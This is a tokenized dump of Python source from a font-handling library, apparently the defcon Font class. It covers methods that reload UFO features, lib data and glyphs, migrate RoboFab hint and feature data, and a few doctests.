"=_", "self_", "._", "features_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "r_", "._", "read", "Features_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "features_", "._", "text_", "=_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Feature", "s", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "relo", "ad", "Lib_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Relo", "ad", " ", "the", " ", "data", " ", "in", " ", "the", " ", ":", "class", ":`", "Lib", "`", " ", "object", " ", "from", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "lib", ".", "plist", " ", "file", " ", "in", " ", "the", " ", "UF", "O", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "lib_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "self_", "._", "lib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "r_", "._", "read", "Lib_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "lib_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "lib_", "._", "update_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Lib", "Data", "State_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "relo", "ad", "Glyphs", "_", "(_", "self_", ",_", "glyph", "Names_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Relo", "ad", " ", "the", " ", "glyph", "s", " ", "liste", "d", " ", "in", " ", "**", "glyph", "Names", "**", " ", "from", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "appropr", "iate", " ", "files", " ", "within", " ", "the", " ", "UF", "O", ".", " ", "Whe", "n", " ", "all", " ", "of", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "load", "ing", " ", "is", " ", "complete", ",", " ", "a", " ", "*", "Font", ".", "Relo", "aded", "Glyphs", "*", " ", "notification", "\\", "10", ";", " ", " ", " ", " ", "will", " ", "be", " ", "poste", "d", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "glyph", "Name_", "in_", "glyph", "Names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "glyph", "Name_", "not_", "in_", "self_", "._", "\\u", "glyphs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "load", "Glyph_", "(_", "glyph", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "glyph_", "=_", "self_", "._", "\\u", "glyphs_", "[_", "glyph", "Name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph_", "._", "destroy", "All", "Representation", "s_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "point", "Pen_", "=_", "glyph_", "._", "get", "Point", "Pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "glyph", "Set_", "._", "read", "Glyph_", "(_", "glyph", "Name_", "=_", "glyph", "Name_", ",_", "glyph", "Object_", "=_", "glyph_", ",_", "point", "Pen_", "=_", "point", "Pen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph_", "._", "dirty_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Gl", "yp", "h", "Data", "State_", "(_", "glyph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "data_", "=_", "dict_", "(_", "glyph", "Names_", "=_", "glyph", "Names_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "dispatcher_", "._", "post", "Notification_", "(_", "notification_", "=_", "\"", "Font", ".", "Relo", "aded", "Glyphs", "\"_", ",_", "observable_", "=_", "self_", ",_", "data_", "=_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "post", " ", "a", " ", "change", " ", "notification", " ", "for", " ", "any", " ", "glyph", "s", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "reference", " ", "the", " ", "reloade", "d", " ", "glyph", "s", " ", "via", " ", "component", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "component", "Reference", "s_", "=_", "self_", "._", "component", "Reference", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reference", "Changes_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "glyph", "Name_", "in_", "glyph", "Names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "glyph", "Name_", "not_", "in_", "component", "Reference", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "reference_", "in_", "component", "Reference", "s_", "[_", "glyph", "Name_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "reference_", "in_", "glyph", "Names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "reference_", "not_", "in_", "self_", "._", "\\u", "glyphs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "reference_", "in_", "reference", "Changes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph_", "=_", "self_", "._", "\\u", "glyphs_", "[_", "reference_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph_", "._", "destroy", "All", "Representation", "s_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph_", "._", "dispatcher_", "._", "post", "Notification_", "(_", "notification_", "=_", "glyph_", "._", "change", "Notifi", "cation", "Name_", ",_", "observable_", "=_", "glyph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reference", "Changes_", "._", "add_", "(_", "reference_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "convert", "Fro", "m", "Format", "Version", "1", "Rob", "o", "Fab", "Data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "migr", "ate", " ", "features", " ", "from", " ", "the", " ", "lib_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "features_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "classes_", "=_", "self_", "._", "lib_", "._", "get_", "(_", "\"", "org", ".", "robo", "fab", ".", "opent", "ype", ".", "classe", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "classes_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "self_", "._", "lib_", "[_", "\"", "org", ".", "robo", "fab", ".", "opent", "ype", ".", "classe", "s", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "features_", "._", "append_", "(_", "classes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "split", "Features_", "=_", "self_", "._", "lib_", "._", "get_", "(_", "\"", "org", ".", "robo", "fab", ".", "opent", "ype", ".", "features", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "split", "Features_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order_", "=_", "self_", "._", "lib_", "._", "get_", "(_", "\"", "org", ".", "robo", "fab", ".", "opent", "ype", ".", "feature", "order", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "order_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "order_", "=_", "split", "Features_", "._", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "sort_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "self_", "._", "lib_", "[_", "\"", "org", ".", "robo", "fab", ".", "opent", "ype", ".", "feature", "order", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "del_", "self_", "._", "lib_", "[_", "\"", "org", ".", "robo", "fab", ".", "opent", "ype", ".", "features", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "tag_", "in_", "order_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "one", "Feature_", "=_", "split", "Features_", "._", "get_", "(_", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "one", "Feature_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "features_", "._", "append_", "(_", "one", "Feature_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "features_", "._", "text_", "=_", "\"\\\\", "n", "\"_", "._", "join_", "(_", "features_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "migr", "ate", " ", "hin", "t", " ", "data", " ", "from", " ", "the", " ", "lib_", "\\u\\u\\uNL\\u\\u\\u_", "hin", "t", "Data_", "=_", "self_", "._", "lib_", "._", "get_", "(_", "\"", "org", ".", "robo", "fab", ".", "post", "Script", "Hint", "Data", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hin", "t", "Data_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "self_", "._", "lib_", "[_", "\"", "org", ".", "robo", "fab", ".", "post", "Script", "Hint", "Data", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "settings_", "\\u\\u\\uNL\\u\\u\\u_", "blue", "Fuzz", "_", "=_", "hin", "t", "Data_", "._", "get_", "(_", "\"", "blue", "Fuzz", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "blue", "Fuzz", "_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "info_", "._", "posts", "cript", "Blue", "Fuzz", "_", "=_", "blue", "Fuzz", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "blue", "Scale_", "=_", "hin", "t", "Data_", "._", "get_", "(_", "\"", "blue", "Scale", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "blue", "Scale_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "info_", "._", "posts", "cript", "Blue", "Scale_", "=_", "blue", "Scale_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "blue", "Shift_", "=_", "hin", "t", "Data_", "._", "get_", "(_", "\"", "blue", "Shi", "ft", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "blue", "Shift_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "info_", "._", "posts", "cript", "Blue", "Shift_", "=_", "blue", "Shift_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "force", "Bold_", "=_", "hin", "t", "Data_", "._", "get_", "(_", "\"", "force", "Bol", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "force", "Bold_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "info_", "._", "posts", "cript", "Force", "Bold_", "=_", "force", "Bold_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "stem", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "v", "Stem", "s_", "=_", "hin", "t", "Data_", "._", "get_", "(_", "\"", "v", "Stem", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "v", "Stem", "s_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "info_", "._", "posts", "cript", "Stem", "Snap", "V_", "=_", "v", "Stem", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "h", "Stem", "s_", "=_", "hin", "t", "Data_", "._", "get_", "(_", "\"", "h", "Stem", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "h", "Stem", "s_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "info_", "._", "posts", "cript", "Stem", "Snap", "H_", "=_", "h", "Stem", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "blue", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "blue", "Pairs_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "posts", "cript", "Blue", "Value", "s", "\"_", ",_", "\"", "blue", "Value", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "posts", "cript", "Ot", "her", "Blue", "s", "\"_", ",_", "\"", "other", "Blue", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "posts", "cript", "Famil", "y", "Blue", "s", "\"_", ",_", "\"", "famil", "y", "Blue", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "posts", "cript", "Famil", "y", "Ot", "her", "Blue", "s", "\"_", ",_", "\"", "famil", "y", "Ot", "her", "Blue", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "info", "Attr_", ",_", "lib", "Key_", "in_", "blue", "Pairs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lib", "Value_", "=_", "hin", "t", "Data_", "._", "get_", "(_", "lib", "Key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "lib", "Value_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "value_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "j_", "in_", "lib", "Value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "value_", "._", "append_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "._", "append_", "(_", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "setattr_", "(_", "self_", "._", "info_", ",_", "info", "Attr_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "convert", "To", "Format", "Version", "1", "Rob", "o", "Fab", "Data_", "(_", "self_", ",_", "lib", "Copy_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "robo", "fab", "_", "._", "tools_", "._", "font", "lab", "Feature", "Splitter_", "import_", "split", "Feature", "s", "For", "Font", "Lab", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "features_", "\\u\\u\\uNL\\u\\u\\u_", "features_", "=_", "self_", "._", "features_", "._", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "classes_", ",_", "features_", "=_", "split", "Feature", "s", "For", "Font", "Lab", "_", "(_", "features_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "classes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lib", "Copy_", "[_", "\"", "org", ".", "robo", "fab", ".", "opent", "ype", ".", "classe", "s", "\"_", "]_", "=_", "classes_", "._", "strip_", "(_", ")_", "+_", "\"\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "features_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "feature", "Dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "feature", "Name_", ",_", "feature", "Text_", "in_", "features_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "feature", "Dict_", "[_", "feature", "Name_", "]_", "=_", "feature", "Text_", "._", "strip_", "(_", ")_", "+_", "\"\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lib", "Copy_", "[_", "\"", "org", ".", "robo", "fab", ".", "opent", "ype", ".", "features", "\"_", "]_", "=_", "feature", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lib", "Copy_", "[_", "\"", "org", ".", "robo", "fab", ".", "opent", "ype", ".", "feature", "order", "\"_", "]_", "=_", "[_", "feature", "Name_", "for_", "feature", "Name_", ",_", "feature", "Text_", "in_", "features_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "hin", "t", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hin", "t", "Data_", "=_", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "blue", "Fuzz", "_", "=_", "self_", "._", "info_", "._", "posts", "cript", "Blue", "Fuzz", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "blue", "Scale_", "=_", "self_", "._", "info_", "._", "posts", "cript", "Blue", "Scale_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "blue", "Shift_", "=_", "self_", "._", "info_", "._", "posts", "cript", "Blue", "Shift_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "force", "Bold_", "=_", "self_", "._", "info_", "._", "posts", "cript", "Force", "Bold_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "v", "Stem", "s_", "=_", "self_", "._", "info_", "._", "posts", "cript", "Stem", "Snap", "V_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "h", "Stem", "s_", "=_", "self_", "._", "info_", "._", "posts", "cript", "Stem", "Snap", "H_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "blue", "Pairs_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "posts", "cript", "Blue", "Value", "s", "\"_", ",_", "\"", "blue", "Value", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "posts", "cript", "Ot", "her", "Blue", "s", "\"_", ",_", "\"", "other", "Blue", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "posts", "cript", "Famil", "y", "Blue", "s", "\"_", ",_", "\"", "famil", "y", "Blue", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "posts", "cript", "Famil", "y", "Ot", "her", "Blue", "s", "\"_", ",_", "\"", "famil", "y", "Ot", "her", "Blue", "s", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "info", "Attr_", ",_", "lib", "Key_", "in_", "blue", "Pairs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "=_", "getattr_", "(_", "self_", "._", "info_", ",_", "info", "Attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "values_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "final", "Values_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "value_", "in_", "values_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "not_", "final", "Values_", "or_", "len_", "(_", "final", "Values_", "[_", "-_", "1_", "]_", ")_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "final", "Values_", "._", "append_", "(_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "final", "Values_", "[_", "-_", "1_", "]_", "._", "append_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hin", "t", "Data_", "[_", "lib", "Key_", "]_", "=_", "final", "Values_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "key_", ",_", "value_", "in_", "hin", "t", "Data_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "hin", "t", "Data_", "[_", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lib", "Copy_", "[_", "\"", "org", ".", "robo", "fab", ".", "post", "Script", "Hint", "Data", "\"_", "]_", "=_", "hin", "t", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "Set", "Parent", "Data", "In", "Glyph_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", " ", "=", " ", "font", "['", "A", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "id", "(", "glyph", ".", "get", "Parent", "())", " ", "==", " ", "id", "(", "font", ")", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "test", "New", "Glyph_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "def", "con", ".", "test", ".", "test", "Tool", "s", " ", "import", " ", "get", "Test", "Font", "Path", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", " ", "=", " ", "Font", "(", "get", "Test", "Font", "Path", "())", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "new", "Gl", "yp", "h", "('", "New", "Gl", "yp", "h", "Test", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", " ", "=", " ", "font", "['", "New", "Gl", "yp", "h", "Test", "']", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", ".", "name", "\\", "10", ";", " ", " ", " ", " ", "'", "New", "Gl", "yp", "h", "Test", "'", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", ".", "dir", "ty", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "dir", "ty", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", " ", "=", " ", "font", ".", "keys", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", ".", "sort", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "keys", "\\", "10", ";", " ", " ", " ", " ", "['", "A", "',", " ", "'", "B", "',", " ", "'", "C", "',", " ", "'", "New", "Gl", "yp", "h", "Test", "']", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", 